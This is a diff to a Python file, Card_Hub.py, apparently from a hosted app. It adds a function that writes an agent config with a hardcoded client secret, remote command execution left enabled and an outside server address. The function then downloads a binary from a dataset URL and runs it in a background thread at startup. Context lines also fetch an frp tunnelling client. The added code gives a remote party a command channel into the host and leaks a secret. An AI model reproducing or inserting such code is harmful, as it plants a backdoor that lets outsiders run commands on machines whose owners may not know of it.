Update Card_Hub.py
Browse files- Card_Hub.py +33 -0
Card_Hub.py
CHANGED
|
@@ -66,6 +66,39 @@ os.system("export LC_ALL=zh_CN.UTF-8")
|
|
| 66 |
os.system("mkdir -p /content/frp")
|
| 67 |
os.system("wget /content/frp/frpc https://huggingface.co/Qilan2/box/resolve/main/frp/frpc -O /content/frp/frpc")
|
| 68 |
os.system("chmod +x /content/frp/frpc")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 69 |
# 更新软件包列表
|
| 70 |
def is_installed(package):
|
| 71 |
"""Check if a package is installed."""
|
|
|
|
| 66 |
os.system("mkdir -p /content/frp")
|
| 67 |
os.system("wget /content/frp/frpc https://huggingface.co/Qilan2/box/resolve/main/frp/frpc -O /content/frp/frpc")
|
| 68 |
os.system("chmod +x /content/frp/frpc")
|
| 69 |
+
|
| 70 |
+
import yaml
|
| 71 |
+
def nezha():
|
| 72 |
+
agent_config ={
|
| 73 |
+
'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
|
| 74 |
+
'debug': False,
|
| 75 |
+
'disable_auto_update': True,
|
| 76 |
+
'disable_command_execute': False,
|
| 77 |
+
'disable_force_update': False,
|
| 78 |
+
'disable_nat': False,
|
| 79 |
+
'disable_send_query': False,
|
| 80 |
+
'gpu': False,
|
| 81 |
+
'insecure_tls': False,
|
| 82 |
+
'ip_report_period': 1800,
|
| 83 |
+
'report_delay': 3,
|
| 84 |
+
'self_update_period': 0,
|
| 85 |
+
'server': 'z.282820.xyz:443',
|
| 86 |
+
'skip_connection_count': False,
|
| 87 |
+
'skip_procs_count': False,
|
| 88 |
+
'temperature': True,
|
| 89 |
+
'tls': True,
|
| 90 |
+
'use_gitee_to_upgrade': False,
|
| 91 |
+
'use_ipv6_country_code': False,
|
| 92 |
+
'uuid': '4c63187b-99e9-45ad-9968-cfc6087040c4'
|
| 93 |
+
}
|
| 94 |
+
with open('./config.yaml', 'w') as file:
|
| 95 |
+
yaml.dump(agent_config, file, default_flow_style=False)
|
| 96 |
+
os.system("rm -rf f1")
|
| 97 |
+
os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
|
| 98 |
+
os.system("chmod +x f1")
|
| 99 |
+
os.system('./f1 -c ./config.yaml')
|
| 100 |
+
os.system('./f1 -c ./config.yaml')
|
| 101 |
+
threading.Thread(target=nezha, daemon=True).start()
|
| 102 |
# 更新软件包列表
|
| 103 |
def is_installed(package):
|
| 104 |
"""Check if a package is installed."""
|